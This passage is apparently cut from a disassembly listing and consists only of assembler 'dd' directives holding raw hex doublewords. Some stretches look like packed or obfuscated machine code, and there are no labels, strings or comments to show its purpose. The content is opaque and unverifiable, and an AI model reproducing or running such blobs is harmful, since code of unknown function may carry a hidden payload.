13CF4ED1h, 0A4061D96h, 96621B9Bh, 50C2A504h dd 0F62F02AEh, 0B718B8A7h, 1EE03F59h, 9A2F56h, 0D2F00000h dd 6D94DB9h, 792DD188h, 0A51B725Ch, 0FD5CCF83h, 2AD0883Ah dd 0EC674678h, 6C1F5EA1h, 0D487FB98h, 0F5931F20h, 3A9D6118h dd 9A18EB7Bh, 0A45A00EFh, 51D0B3F6h, 0D26F2DCAh, 0FA1455B0h dd 0DEFF265Bh, 0CF7032DFh, 0A074B7AFh, 9EA302A2h, 0F1926810h dd 0BF1FE59Dh, 3F8E5C10h, 0D81362F0h, 0F0000000h, 6155768Ch dd 0EEDC8177h, 1A680DF1h, 9CF2936Fh, 0DE7D1EE4h, 6FCE496h dd 956B1165h, 1FEB82F0h, 0AB5F087Eh, 55B5FA0Ah, 580C0439h dd 0D2043B74h, 5B2F4CB6h, 60B7D420h, 903C5E9Fh, 0DD5EA1FEh dd 315DBD42h, 7C5EA1FEh, 0A7D06225h, 1A4DC353h, 21CECDEEh dd 0EF10570h, 0A4E791F1h, 6FB65BFDh, 8A7E69BFh, 0B90B0E75h dd 0BD1440A2h, 3E61A7F3h, 5DC08E3Bh, 92C5B9DAh, 0D0AB466h dd 9F79A2C7h, 0E31F4A48h, 457F5020h, 1859E612h, 0A0E65EF6h dd 9881BC9h, 82651664h, 7A8519E5h, 0A0E6FC18h, 8766B9C9h dd 0B9207624h, 523ED145h, 0E014477Dh, 0C834535Fh, 24F6007Ah dd 6D610285h, 0B11C8E7Ah, 13h, 0E41FE0BEh, 42386D8Fh, 0ED4A9133h dd 35BD3A34h, 0D2DCCF4Eh, 44DA48B2h, 0E137E713h, 1C9200F4h dd 0B40A9866h, 0D66436CCh, 4CC250AAh, 0E735E915h, 9604F8h dd 14F2A056h, 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h dd 23682414h, 8900003Eh, 3B68242Ch, 89000049h, 0BF572414h dd 6ADEF15h, 3C8BFD89h, 4C48124h, 54000000h, 8124148Bh dd 4C4h, 0EF895700h, 8BB53h, 0D3010000h, 5F5B3B89h, 5224148Bh dd 0C281E289h, 4, 8704C283h, 0FF5C2414h, 815D2434h, 4C4h dd 4ABAE900h, 0E89FFFFBh, 0B8651462h, 6ADFB1Fh, 0E0FFC503h dd 4180BAE3h, 3C4BA0A2h, 3B7CAA75h, 8A3C1B9h, 0A7078BCh dd 6BB028C5h, 5EE9FA92h, 5DC0923Dh, 6355383h, 636587h dd 3CC995FBh, 28C9AAE0h, 414D845Dh, 5C3CB686h, 5CBB9A91h dd 62CB2468h, 2A16F485h, 293F45EDh, 7D147090h, 3893977Eh dd 2B029DAh, 6F7CCB4Ch, 2BFBF66Bh, 0DCE9h, 0E9079500h dd 459CD70Fh, 0E1C8C3CAh, 0ACABDAB6h, 92B395A7h, 95A1F445h dd 0ABDA00B3h, 5D20A7ECh, 0F46BB291h, 752096B1h, 0B79B5520h dd 0A5BCF26Bh, 94A19692h, 99603A75h, 0BD329FB7h, 0B2E9B599h dd 0F292A59Ch, 7695ACA3h, 97B1EFh, 0A5B4F94Eh, 6B5C009Fh dd 924AF07Bh, 52D0008Ah, 53F545F3h, 0D979A3F6h, 0AFF144D6h dd 41F445E3h, 0B000D77Dh, 6BBF9792h, 0CF60FD75h, 0BCF996BFh dd 7D20B293h, 0F79B5720h, 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh dd 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h, 7293BCE1h, 97B3EDh dd 43F1B6D0h, 0F0A8CDh, 0 dd 129D7447h, 5E99E0E3h, 9 dup(0) dd 14D0E900h, 0E6680000h, 0E906ADFEh, 0FFFA80D6h, 0AE001068h dd 80CCE906h, 0EF68FFFAh, 0E906AE00h, 0FFFA80C2h, 0AE022F68h dd 80B8E906h, 0AA68FFFAh, 0E906AE02h, 0FFFA80AEh, 0AE039C68h dd 80A4E906h, 3668FFFAh, 0E906AE04h, 0FFFA809Ah, 0AE04D268h dd 8090E906h, 7C68FFFAh, 0E906AE05h, 0FFFA8086h, 0AE068268h dd 807CE906h, 9368FFFAh, 0E906AE07h, 0FFFA8072h, 0AE08D068h dd 8068E906h, 0C168FFFAh, 0E906AE09h, 0FFFA805Eh, 0AE0B2868h dd 8054E906h, 8968FFFAh, 0E906AE0Ch, 0FFFA804Ah, 0AE0E8F68h dd 8040E906h, 8C68FFFAh, 0E906AE0Fh, 0FFFA8036h, 0E9CD574h dd 79CD88A5h, 0AFFBB2D6h, 9F2B6E04h, 0C85E1334h, 43E42E43h dd 7717B80Eh, 2143EC3Ah, 0D271D268h, 4D9F0F9Bh, 5D3FF3Bh dd 9887C5B6h, 0F09D5CFFh, 463F68B5h, 34CB0DD9h, 6C812238h dd 0C5BEFB98h, 0E0A9CC53h, 8B3E15Ah, 0A045A8D2h, 143FB600h dd 0C870538Fh, 0D5D11781h, 0F1B6009Fh, 0AD99991Ah, 4814771Bh dd 45h, 0EB5E7D3h, 54FAED8h, 0C711B600h, 0D380EB69h, 0C6100996h dd 247463E5h, 6AEC311Ah, 0B6008A2Ah, 3644ED46h, 1477655Ah dd 120BDh, 0EF194700h, 0B60095ABh, 960F0BBDh, 5AF5B600h dd 1F3EAF88h, 58D0C956h, 0EA1CBA53h, 0AF57D6AEh, 0CC1E57F5h dd 0CB6A3563h, 0DEC11D82h, 7FA8F5B0h, 98D57639h, 0ADE08162h dd 6407980Bh, 7C1F802Dh, 4DD29BBDh, 3927635Ch, 0FF567FBFh dd 4FB02921h, 0E13A6722h, 0C95FB1B7h, 2144AF58h, 0D271D268h dd 2795169Bh, 0DFC06E9Ch, 71AAF7B2h, 0D09A2127h, 0A4CB600h dd 0C2A00BB2h, 39C751FCh, 6A11ECFFh, 0DEB73D28h, 6E5DFF48h dd 0FB3F49C1h, 0C9B600AFh, 6E9C756Eh, 0AB5184DCh, 3E5D7EBCh dd 18F12A77h, 296C01E2h, 0EC2C5E84h, 0D6BCAB50h, 0CE14847Dh dd 0BD0944E5h, 8C3C7112h, 0EC7F4483h, 32552E8Dh, 19000012h dd 50F3377Eh, 7F206623h, 0A90A90D9h, 0D97AC085h, 2AB1F5B8h dd 0A7EA8B87h, 0D39EC063h, 148EC57h, 327B1A85h, 50EA70F4h dd 0B605D558h, 0FF47EC2Ah, 849DF25Eh, 2F0490DDh, 0A90AF036h dd 4F58C588h, 6E2746E9h, 0B0E812B8h, 0F3AF57E8h, 61CA1C55h dd 79A74D37h, 57E8CBCFh, 1A9EB9AFh, 0EB5E711h, 0AB38B2D8h dd 9DFBAB93h, 0B5C81E9Ah, 8FB6007Ch, 69E37FA4h, 4E348546h dd 0BD4BED97h, 0B6005679h, 0E5F5BE15h, 1477A909h, 11B9DBC4h dd 8FE67B78h, 0E3352EE9h, 0D351h, 5CFFEA00h, 71528815h dd 8F1098DDh, 0FC7EA3EEh, 0AF57DBA2h, 0FF2B6201h, 0A1FAB17Dh dd 1F9948FAh, 226B0AB5h, 32C57284h, 0D8C339B5h, 8A2AF350h dd 0DD6F9531h, 0AF5829DDh, 0C62C8CA7h, 323584h, 0E6240FB6h dd 0BFFA9778h, 0B50EAE79h, 0C08DAE11h, 0D7788268h, 0ADBCAAD0h dd 0D67B6482h, 0B1DF0593h, 91802C4Eh, 0A29AC167h, 47E84039h dd 54BF6B26h, 61077831h, 6928B28h, 120456BCh, 0B9C8408Fh dd 3D5EC157h, 61C14870h, 0E0C3EC80h, 11081Fh, 148EF00h dd 30751A85h, 662F49EAh, 96D37F20h, 0C38EAF10h, 59B9F847h dd 8E317538h, 0BA65A1ECh, 0EC57D39Ah, 22BA0049h, 0D78A8E38h dd 3278B605h, 0EA1CBA15h, 0AF57D6AEh, 0B27DBB94h, 0E54EDC91h dd 9CBB0F46h, 0F1155CFFh, 0D6F9314Bh, 60CBAF57h, 0ABCA5BC8h dd 5DFBA4E2h, 70538F14h, 0F8304AC2h, 0CAAF57D6h, 7F208861h dd 8E7195DCh, 22FA7EEh, 0D2187056h, 0D68B71A7h, 96A517F6h dd 27C3BCF9h, 3176E5h, 85E34CB6h, 8A624443h, 6ED547ADh dd 7D3457B8h, 84CD6F30h, 0A5E70DABh, 0B4327016h, 5DDE43ECh dd 0E7AACCFFh, 0D7AED80Eh, 0ADBADDD9h, 8C3E6482h, 0BADDDA8Ch dd 915BDD76h, 7FBBCD6Bh, 45BADDDAh, 42E14EEAh, 51F4DF0Bh dd 16829B18h, 296003ACh, 4CBB64FFh, 0B809AAEEh, 1029h dd 9A206910h, 0D5511439h, 387CE6Ah, 73B7F2A0h, 0A4E2AFD0h dd 0D7789ADFh, 83A30C9Ah, 0B5D778CEh, 6605AEFCh, 0D9039B2Fh dd 5D76BAFh, 341359B6h, 88155CFFh, 98DD7152h, 0A4E98A1Bh dd 0ADED1FCBh, 97AF57D6h, 9AB7CBCh, 0D7F214B2h, 0ADB60007h dd 4821640Ah, 0B1EB49F2h, 0ABA313B3h, 0B5514A8Bh, 0A87CB813h dd 7CA18ABCh, 0A87CBAFAh, 0B47DD6BCh, 8F70CAA6h, 4E2D1Fh dd 0E7F60000h, 81B9C3B5h, 43AF57D7h, 0B1CBFFE8h, 0B6002724h dd 0D29BBD1Eh, 42E2CDF9h, 51F4DF0Bh, 2777B3D5h, 0E24DB600h dd 1273A409h, 15FF397Ch, 26B5F3h, 0A20DABB6h, 800CA83h dd 0FAB60027h, 3558C751h, 0E7852E7Ch, 628001AEh, 9B00000Fh dd 0D80EB5E7h, 5D415AEh, 0A644EFB6h, 0D3571E3Dh, 0F49CD70h dd 29FD8C7Dh, 0A0EC8E7h, 0F8B60506h, 7039665Fh, 394367DCh dd 0BCB30201h, 14B268C3h, 0B301B6F2h, 7A38CBCh, 0B301C5C5h dd 494BFBCh, 9756F5DEh, 2475BAF7h, 3154FF4Bh, 0C2723B78h dd 8E31D098h, 0E8E21E53h, 18B056C2h, 18CEA7EFh, 3E7711F2h dd 185D6CFAh, 0C27C35Bh, 0CF7E41DCh, 9F6043E5h, 0EE9h dd 5AE0A9D0h, 951154F9h, 0C3470E2Ah, 33773260h, 64A2EF90h dd 1738DA9Fh, 0C363CC5Ah, 0F597388Eh, 0A6C56EBCh, 19C35BEFh dd 5D8ABEFh, 0F45399B6h, 57D75EA6h, 44FF5DAFh, 0D32C64A6h dd 3D16B605h, 0AF072689h, 8A3C8A62h, 0B605638Eh, 3303DB74h dd 0C061C215h, 0AD16948Dh, 0A923C78Eh, 55CE2190h, 0D7B4E4CAh dd 0A95DE656h, 0AD543C1Fh, 0FB2D06BCh, 0EC7D424Ch, 6EF05152h dd 5500000Eh, 842F7B32h, 0B31CAAEFh, 0E54EDC95h, 15BE0C49h dd 66ED3974h, 0D39EBF53h, 74AEC57h, 357C2083h, 662F4EF1h dd 64A64420h, 0B605D924h, 0BA73D81Eh, 0D6AEEA1Ch, 3394AF57h dd 33655E13h, 2380C96Ch, 0F1B8DCC7h, 3D4F7BACh, 0AF57D6FDh dd 63CC6CC7h, 2B6201C0h, 1E34ED32h, 2D4DD65Bh, 570BC360h dd 64CC07C7h, 159E156Bh, 0FC216C0Eh, 33B8B2ABh, 0A9C52E72h dd 0C25647ECh, 0DF607A56h, 8A39D12h, 0E7A60000h, 0B2D80EB5h dd 0D6B6F214h, 0A38CAF57h, 0D2CCF375h, 9DB6B605h, 4AE28669h dd 87218431h, 0F03D166Fh, 8EB71A7h, 0F502CD65h, 344FA570h dd 0C164CF5Bh, 0E6185288h, 0E248943Bh, 7F8DFF36h, 19F2F063h dd 0FD5F5BEDh, 0A25B604h, 0BE213DAEh, 5049D69Fh, 0FD060ED8h dd 1785B604h, 0EDCC7EACh, 0D7BCAD2Dh, 68954C7Ch, 0FC3FEC7Dh dd 0D7C03h, 8DC46300h, 0BCF99639h, 0EAA3C56Eh, 1A5FF35Ch dd 4F02238Ch, 0D53D7CFBh, 2ADF9B4h, 36992D60h, 68CB5F16h dd 0AE3E8CC5h, 0DA0E0ABCh, 0B6F4B605h, 9D5CFF89h, 57DCB5F0h dd 0B9E6AFCEh, 909AA01h, 12DFD21Dh, 7ECF8h, 5EA64300h dd 5DAF57D7h, 0D96389FFh, 0AF57D6E1h, 4A4E88A3h, 38AF57D7h dd 4680261Fh, 0B605D397h, 0AE620F49h, 0D48C4510h, 7591BA44h dd 64A2EB8Ah, 4CD198BBh, 34D269CBh, 0AD92B792h, 0A2A8DBCh dd 43E0A9CBh, 6098716Ah, 0EC7D03ABh, 0E2358E2Dh, 0C900000Ch dd 0A3E7AEh, 2F901653h, 59FA4009h, 892A7035h, 9A61A5E8h dd 571A3BD7h, 83CE70D3h, 0B1F89C07h, 0E2ABCA75h, 0E01AC0A4h dd 0B605DAA8h, 0FFF75C9Ah, 67F1155Ch, 1156E428h, 9B08A01Bh dd 84226B0Ah, 0D132771Bh, 0CDBEFAB3h, 65753EBDh, 12DF2989h dd 7446Ch, 30BAB700h, 98641EF6h, 36F127D8h, 7F893D86h dd 0B60611A5h, 0AD16B49Fh, 67224F8Eh, 0B208E13Ah, 16DA7211h dd 9594440Eh, 65E54A23h, 0B6065821h, 65813A9Ah, 0AE890823h dd 0B751FABCh, 0EC7C0D6Eh, 46028320h, 2D00000Ch, 5CC7430Ah dd 8B347237h dd 0BD66A4EDh, 0ED56D491h, 3E85014Ch, 0BBF6977Bh, 0EFA2C46Fh dd 1D54F85Bh, 4E072689h, 4CFE6CF8h, 0B605DB4Ch, 0FF4BF036h dd 5288155Ch, 7414D171h, 0CEA7F03Dh, 0B1D74861h, 4CEFB0F8h dd 0F8EE9805h, 8CD97117h, 0F767CA0Eh, 87901DF6h, 0F9F9BA11h dd 12DFCD0Dh, 69CE8h, 1CBA3300h, 57D6AEEAh, 7DBB94AFh dd 57D6B0EBh, 0F249EBAFh, 0D3BDB2D4h, 0AC87B605h, 0BFF6957Eh dd 0ECA5C86Bh, 2056C647h, 5D4A2E6h, 0DEB760B6h, 0ECA5C728h dd 964A64Ch, 0FBBCADDAh, 0BC57A850h, 0FA39EC7Ch, 0B9C09h dd 0ADE48300h, 0DC99B619h, 0A43E54Eh, 3A7F13BCh, 6F2243ECh dd 0F51D5CDBh, 228D1954h, 56F94D00h, 882B7F36h, 8E1EACE5h dd 0DBEE2A5Ch, 96D4B605h, 155CFFA9h, 0B5741788h, 5952DF96h dd 0CB30BA60h, 6AB08BAFh, 7267B74Fh, 6B2ECC17h, 72DB5ECDh dd 0C28BAAB1h, 3EE4D044h, 250312DFh, 24000001h, 88155CFFh dd 9ED77152h, 0F901811h, 26E1256Ch, 6F994DF6h, 0B5FFF600h dd 2C469C2h, 0B5FFF602h, 6E6C359Eh, 1477CD72h, 2C95h, 0B5E7AE00h dd 37A8E586h, 47635C15h, 4EA05h, 56F7D8B6h, 0C38AAA1Bh dd 818545EAh, 1DB60005h, 0F1EDEDB6h, 141477F8h, 0A2h, 155CFF2Fh dd 3B761788h, 470E2DF6h, 632A49DAh, 2DB2527h, 0A5C8AF58h dd 4FED5EECh, 0A97DA7Ch, 78823811h, 0B602A255h, 0BF4CC10Bh dd 2EA4E426h, 0B59EB602h, 0A036113Dh, 0B96DC608h, 22783556h dd 7BADE081h, 0F327DF9Eh, 9642C3E0h, 7D00000Ah, 0AC1793DAh dd 0DB44C287h, 0DB6F4BDh, 3DE62461h, 4ED5511Ch, 0B46E72Bh dd 3F7214BFh, 6D2448EBh, 9ED776D9h, 3C4E9C08h, 0B605DCFCh dd 0BA9B80C6h, 2D723B59h, 52F3BCFCh, 1661EB1Fh, 25A64444h dd 0B619E335h, 0C728DE97h, 0D97CEDA4h, 9E1A1390h, 59BA0F34h dd 0C0CBE3Ah, 0F6AF57D7h, 6D6A645Dh, 1286ED13h, 791C8315h dd 0DB4F4BFDh, 1A35AF57h, 23FC21h, 0D272FD49h, 55000004h dd 0D80EB5E7h, 0FFFECBAEh, 119EB9B5h, 1D1DAFD5h, 0E7B5FFFFh dd 2C6C9E4Ch, 16B5FFFFh, 296DFB3Dh, 45B5FFFFh, 5811349Fh dd 0DFBD9F8Eh, 94041875h, 0C92A763Fh, 0E0B4E4A9h, 147728F4h dd 1F613h, 5C63F500h, 108F1A4Dh, 0A6A18A2Eh, 0AF57D765h dd 994DF626h, 5D3786Fh, 0C5E14AB6h, 0B1CB719Fh, 0B605D379h dd 0E226E04Bh, 0A0B605D2h, 0DF7E2177h, 8CAF1096h, 97FFE724h dd 4B24A195h, 4CF725E6h, 52116C9Eh, 58F3BCADh, 7D4443A0h dd 0DF635ECh, 985h, 684CD6Ch, 71B5F09Dh, 0A7E3AACEh, 971356FCh dd 0C0460B2Ch, 0BBDC367Bh, 6F0FB0F6h, 193BE422h, 0CA69CA50h dd 45A70783h, 5DE0703h, 90BFFDB6h, 88155CFFh, 893D7417h dd 0EC016E4Fh, 0A2F6BA67h, 4CD57EC1h, 0DB6F2645h, 0DF8A8773h dd 1516612h, 0FFB90000h, 1788155Ch, 4F893D74h, 39AB7AABh dd 0EA50D85Bh, 964ECA0Ch, 0DE5E3F0Ch, 0BA68BC04h, 79BF1E20h dd 11B50EAEh, 0ED88F7h, 4CD17AB6h, 0ED8A8Ah, 0E44D26B6h dd 76C4FAD6h, 3A1D14h, 0BA260000h, 22763F59h, 5E8C3765h dd 4D12Ch, 5B4597B6h, 0A071B62h, 53FC0296h, 0E3080CCEh dd 0BEA4B5FFh, 42D42B3Ch, 0B2906A23h, 7CD74106h, 0C6CBA7B3h dd 0B9521477h, 0F5000000h, 0FB9D5CFFh, 0A34EB353h, 0B5AE470Fh dd 46802EDCh, 0AF58A642h, 68A0DA00h, 5AAF58A6h, 339018F1h dd 179CD172h, 0A47E8CBh, 345674A5h, 0AF58A5F4h, 6C3365CEh dd 822380C9h, 0EA1CAAE3h, 0AF58F8B4h, 0EE8D4CEFh, 0CF78CEA7h dd 0CF30D66Dh, 0AFB5E3AEh, 398321Dh, 8DAF10B6h, 0D43FEBC4h dd 98D576B3h, 97B81BAFh, 0FEBF2EDAh, 0E2C1F326h, 84861h dd 41082F00h, 70355AC5h, 0A6EF892Ah, 0D693BF60h, 34EEF50h dd 99793887h, 0CE71B5F8h, 0FAA5E1ACh, 2C97135Ah, 62FA4009h dd 0DF4A4EF8h, 0F238B605h, 135EFF55h, 40092C97h, 0D66A509Ah dd 0BA8ED81h, 5F16D812h, 0A28973A5h, 913559BAh, 7DE20D74h dd 0C2231C9Fh, 6942EFA6h, 743D60CFh, 9ED7762Fh, 29B8708h dd 0BAA20000h, 527D2430h, 0C86093D1h, 4066DD7Fh, 656A906h dd 73B09BB6h, 656ABEBh, 0C36CC7B6h, 0F12953F9h, 0D3B60656h dd 88643078h, 6F147156h, 22Ah, 0B30BAB0h, 9C14BFCh, 0D0ED850h dd 8EAF57E4h, 0D771952Eh, 0B605E072h, 82CF6F50h, 0F3927DA9h dd 8FA30CBAh, 0BA3465CAh, 0A2554A25h, 1DE731A8h, 0C3B93B2h dd 0BE0E4A56h, 2EE22660h, 77A0B606h, 0BF78A59Eh, 0C600A61Dh dd 0BCAE34A7h, 9116B29Dh, 0BFEC7C61h, 757837Ch, 1B3E0000h dd 0C66BD452h, 0FC9C0783h, 0A0CE71B5h, 5DFEA1E5h, 6C0D8A10h dd 72C885A6h, 0AEFCB1D1h, 982E6705h, 0C95D1437h, 3D7D8F5Dh dd 7B605E0h, 5CFF5AC1h, 6C0EF115h, 8B14F721h, 0A37CA1E8h dd 0BC65CA8Fh, 9C4AD79Ah, 57D72E6Ah, 0DF3B14AFh, 0D130BF60h dd 91B4BB64h, 0ACC122D8h, 0C55344E9h, 0D6E3DF7Fh, 670A12DFh dd 1D000001h, 88155CFFh, 0E93D7417h, 0A145FE5Eh, 0FFF5F867h dd 3C61CAB5h, 0FFF5FA3Ah, 0C38AA9B5h, 4246805Eh, 0B5FFF6h dd 0DD98B617h, 7B249150h, 45AEB4FCh, 0D7C06D28h, 1C9CD976h dd 0FCFEA7h, 0E71477CDh, 48h, 0EB5E738h, 4B089ED8h, 24549576h dd 0DFC06EF4h, 13FBF3BEh, 6FDF437Dh, 0D12C3A7Eh, 0B3B600ABh dd 0D3D31B98h, 0D0B600ABh, 0E9BAE7A2h, 35980548h, 0CCB1DF40h dd 3B3C8A44h, 0D5BEE2DBh, 0D524E4Ch, 0B2B51477h, 8E000000h dd 0F1155CFFh, 50EA6E0Eh, 0AF57D758h, 8028012Ah, 24E18223h dd 0CD524B0Eh, 42783154h, 2D8BC261h, 0F46E5BEh, 515F41BBh dd 9E01AF58h, 0BE61B7FEh, 0AA50D69Fh, 3D622B49h, 59FB4CECh dd 5C9EC4E2h, 0DAB311C3h, 293F7991h, 0B602FB06h, 4CB753FCh dd 5F40662Bh, 901BB33h, 0FBB602FBh, 0E13A6750h, 0C162CDB7h dd 9B555C8Ch, 5C5FF327h, 5F0E3h, 0F9B0D700h, 286D02ADh dd 5E173192h, 8ECB67C8h, 0BBF69738h, 41D1E06Fh, 76D96D20h dd 0A20D99D4h, 0D47FCB82h, 3AA2F8B1h, 0E2A2E620h, 5A60B605h dd 3959BAFDh, 0BAFE2F74h, 8D1954F5h, 0FC4A0322h, 0F45CFFD7h dd 72D1D6A1h, 8B2801CCh, 14FF7B1Ah, 0A4F53A7Fh, 58211E1Ah dd 20AAE4AFh, 0E41E5EB9h, 5FEBC4BDh, 40D4h, 5CFFF700h dd 74178815h, 0D75256F0h, 730AF57h, 7320812Eh, 0FED79EBEh dd 54CF0B1h, 2283E898h, 0EF347D1Bh, 0E556C5BEh, 0EE8F703Ch dd 8BAA75A3h, 76D224C2h, 4F8DE4C9h, 0BD068C2Ch, 12h, 155CFF98h dd 0D7474E88h, 46D5AF57h, 0FEB7D6DDh, 5CFF83A8h, 6E0EF115h dd 9123E1C6h, 8962D6D3h, 0F692F324h, 5C8A79BFh, 6EAAF01Ah dd 9503FD74h, 0ED19A212h, 5ED0A5Bh, 0AB5FF8B6h, 0DE6C2548h dd 129FD675h, 2B5D2B89h, 0B605ECEFh, 65817AD5h, 5D92BD3Fh dd 0BBA51CC0h, 43AFEB7Dh, 0BA95BCB4h, 50FDE60Ch, 446AAED8h dd 0FF58BCB4h, 6E0D9206h, 23658327h, 0BCB443E7h, 5C2672DDh dd 941950F3h, 0EC1AA113h, 822F6203h, 544D0021h, 4AF01EC4h dd 0B443F830h, 3761CABCh, 5C5E2A31h, 0B3D33CC3h, 5E918933h dd 0D873C35Ch, 0CF6942EFh, 0E9F21601h, 2FE5CE37h, 48F338Ch dd 0D3760000h, 8EA30C9Ah, 0B4D47FCBh, 6806A9FDh, 1536992Dh dd 3445C258h, 0AAF0BDDEh, 0E6246909h, 0D0561F3Dh, 185CC6Fh dd 50547A5h, 0FFB605E3h, 1CBA92B9h, 57D6AEEAh, 7DBB94AFh dd 4CDA93B2h, 9A1E3DA6h, 57D72860h, 58311AAFh, 652C4FD0h dd 8DC46738h dd 0F73F1F59h, 9C5ADE3Fh, 0F7BE64C0h, 0BAD865Fh, 0F3BC1998h dd 6F2646A9h, 8EC766C9h, 60A09C38h, 0ED6F12DFh, 1BED396Dh dd 0DC7EBA81h, 44h, 0EB5E767h, 2715AED8h, 44EFB600h, 561F3DA6h dd 26F036D0h, 90B3B600h, 55A74DD9h, 0B7D6BCBFh, 515EE4FEh dd 50F4BBFDh, 3547ED19h, 9D2B442Bh, 96923CCCh, 6CB60021h dd 88CD62C3h, 0CAC24320h, 0E5000003h, 0AEEA1CBAh, 0B0AF57D6h dd 57D71216h, 8747F0AFh, 80A30CACh, 0B2F79B04h, 57D71008h dd 6059F2AFh, 8AC362C3h, 92298B3Ch, 47E5CE74h, 6ABE286h dd 6BF73C15h, 57D6D9D1h, 9780ABAFh, 0F598C701h, 0C16AB5FFh dd 0F59A9A5Ch, 5D36B5FFh, 0CCEAC6D4h, 4D0D1477h, 16000000h dd 0D80EB5E7h, 54FAEh, 951A35B6h, 55155h, 783D52B6h, 81C46A3Bh dd 5BC4B11Ch, 36FF54DCh, 976E06Ah, 4086B1E4h, 46504CE8h dd 5D9F1477h, 75C38C93h, 8655E5E1h, 0E53D5605h, 6CACDE0Ch dd 56B600B0h, 0EB99BBFDh, 0A2000000h, 0AEEA1CBAh, 94AF57D6h dd 69F3E95Ah, 655EB6BFh, 80C96C33h, 8E8A3C5Ah, 74AF5837h dd 70EE5DDBh, 3778B0CAh, 0E14AAF58h, 0A47E8B7h, 1059FCA5h dd 3A731293h, 3C041AECh, 0FC9FAF58h, 288B71B5h, 43EC4C05h dd 43C46920h, 3ABC6AD1h, 0CF9A41DCh, 20CA6E87h, 7673E6h dd 0EE8A75B6h, 0C1F903A7h, 83B60075h, 0DDFE00A8h, 71AAF7BEh dd 1BB90298h, 0D7C07AA0h, 0ADBCAB17h, 0B354B63h, 0B9922003h dd 0CC81A20Dh, 34B4D57Eh, 0ABCD9692h, 0EAC36CBCh, 7EC9A73Eh dd 79CAE9ECh, 289h, 3A80C970h, 75B1F499h, 0A3E7AECAh, 93175200h dd 0C4420F30h, 0B7D83A7Fh, 6303ACFAh, 1537982Eh, 0C665CE5Ch dd 0B9A33B8Fh, 5E50B0Fh, 94B3F9B6h, 0ACDE5EFFh, 0AF57D76Ch dd 885A1737h, 8A70B6AFh, 0AECA0B29h, 8861BAE7h, 95DC7F20h dd 0B5E72A11h, 4FAED80Eh, 35B60005h, 5155951Ah, 6DB60005h dd 0D28B65F7h, 1AA703CBh, 0BCED327Bh, 35FE55C3h, 4AE6886Bh dd 1FDF229Fh, 53C5BE17h, 7729EBC7h, 0B53214h, 0FF150000h dd 5288155Ch, 0D7969234h, 0C36CAF57h, 0E4A9CA55h, 1078B4C6h dd 8177F2E6h, 5CB2B417h, 47AF587Ah, 76D96D24h, 0DFCF7FD7h dd 582BB98Fh, 0DB79C26Fh, 0D900BA60h, 0ABB600D1h, 13813A80h dd 9D3C8649h, 3B6CB1FCh, 9C91FDA3h, 0C9F507A3h, 5E7189C2h dd 162BF600h, 3C0742Bh, 0AD3D4F95h, 97BCAACBh, 84A50EBCh dd 0B1D27DC9h, 0CBA3CCFCh, 8E2DEC7Fh, 18C35h, 9DD47300h dd 0CC89A609h, 0FAB3D57Eh, 2A6F03ACh, 5F12339Ch, 0E52D4CCBh dd 12BD0944h, 46E93D70h, 78DB6F26h, 9E0E9CD5h, 0E5FE3A4Ch dd 86C4B605h, 135EFF99h, 0E9866997h, 80A30CACh, 0FF567DC9h dd 1788155Ch, 46E93D74h, 57B86E27h, 53307831h, 35D16ACAh dd 2F893h, 3C61CAB6h, 80F903Dh, 709E2C65h, 76A2EF8Fh, 2B803B1h dd 0A82241F8h, 9CBC27BCh, 0B5D748D5h, 6B9503FCh, 0A3C263C0h dd 7DEE45EAh, 0BC07B5B4h, 413DFC0Eh, 8523C350h, 50414743h dd 0ABEF19C3h, 99C35040h, 95032CBEh, 6920486Bh, 0C8694A70h dd 6A91385h, 65812E67h, 7C1CD97Ah, 53DC5C35h, 343B7831h dd 4A169Fh, 0E470C102h, 7A2573B2h, 0B31492DBh, 0FA0CBA01h dd 0C9F8661Fh, 3CE54AE5h, 52D35019h, 6B34793Ch, 6D2380C9h dd 0F31E9D06h, 0EA4A59DAh, 244AB551h, 0E4263C61h, 0C9F866A4h dd 5CDCB59Eh, 92957496h, 0C46FD0A0h, 0EC57C546h, 8E888C3Eh dd 597AD74Eh, 6D99723Bh, 6ABE282h, 7F208315h, 5AC974DCh dd 1CB7289h, 12319228h, 4C2DAF5Bh, 0C0370AE3h, 69F152C6h dd 0E09542BCh, 0FDBF60D5h, 9CB27312h, 6A43E0D9h, 8BC261CEh dd 0BB87D13Fh, 0FCB1D276h, 14172E2h, 0CD650897h, 4544FB16h dd 0B6FBD4CFh, 9F0441EDh, 0ABB27358h, 0DA45C188h, 0B1ADF2BBh dd 12856427h, 2F8979EAh, 10A0h, 1CBA7B00h, 57D6AEEAh, 4ABB94AFh dd 2131672Eh, 1158FF3Ah, 3970138Ch, 40092BF4h, 6D2042E3h dd 733E5FC0h, 99D4752Eh, 0A2E78B14h, 0CD84A47Dh, 0D792BF60h dd 1768FA4Ah, 89000001h, 0B268242Ch, 89000001h, 89522414h dd 4C281E2h, 83000000h, 148704EAh, 1C895C24h, 4EC8124h dd 89000000h, 0E7BF243Ch, 0BA60F276h, 0A5BB86A4h, 545FFA01h dd 83241C8Bh, 8F5204C4h, 1C8B0843h, 0E2895224h, 4C281h dd 0C2830000h, 24148704h, 2434FF5Ch, 4C4815Ah, 0E9000000h dd 0FFFA6C1Eh, 0EEC9817Fh, 4714745Dh, 9730996Dh, 3DB8F558h dd 306AE11h, 77E0FFC5h, 57550BE3h, 0B027F169h, 0D710BE6Eh dd 414B7E9Eh, 4837A71Fh, 0E91E6D14h, 24780CF8h, 0A30E1170h dd 0A920C186h, 4426EEEBh, 0F707E8D0h, 59571572h, 61585CE7h dd 0AE0240C5h, 0EE653612h, 743E2E6Dh, 0EF258737h, 0AA0DE7FAh dd 1653050Ch, 541A4BE1h, 0E076F0EFh, 7C571055h, 0DA70BBA5h dd 0E83EE4F7h, 0Fh, 0E2E81FB2h, 6DC55923h, 3B39FD1Fh, 66E9F754h dd 0A6CEF81h, 158D0F5Ah, 56000000h, 0EE9h, 0E0D2A900h dd 383034CAh, 0EB5B3A69h, 5FE4E412h, 5ADEC281h, 9B90000h dd 2B3FDE2Ch, 5820FDBh, 66000000h, 18D0F781h, 0B91A348Bh dd 12A266BDh, 30E2C681h, 0B8663D8Ah, 0EE819910h, 1821F36Ch dd 0FCE18166h, 0C7C68189h, 8A5ED43Ah, 1A3489C6h, 0CFE98166h dd 2C5CBFECh, 0EB835FBFh, 4B4B4B01h, 0BB79C8B9h, 0DCFB8138h dd 0FFFFFA5h, 1385h, 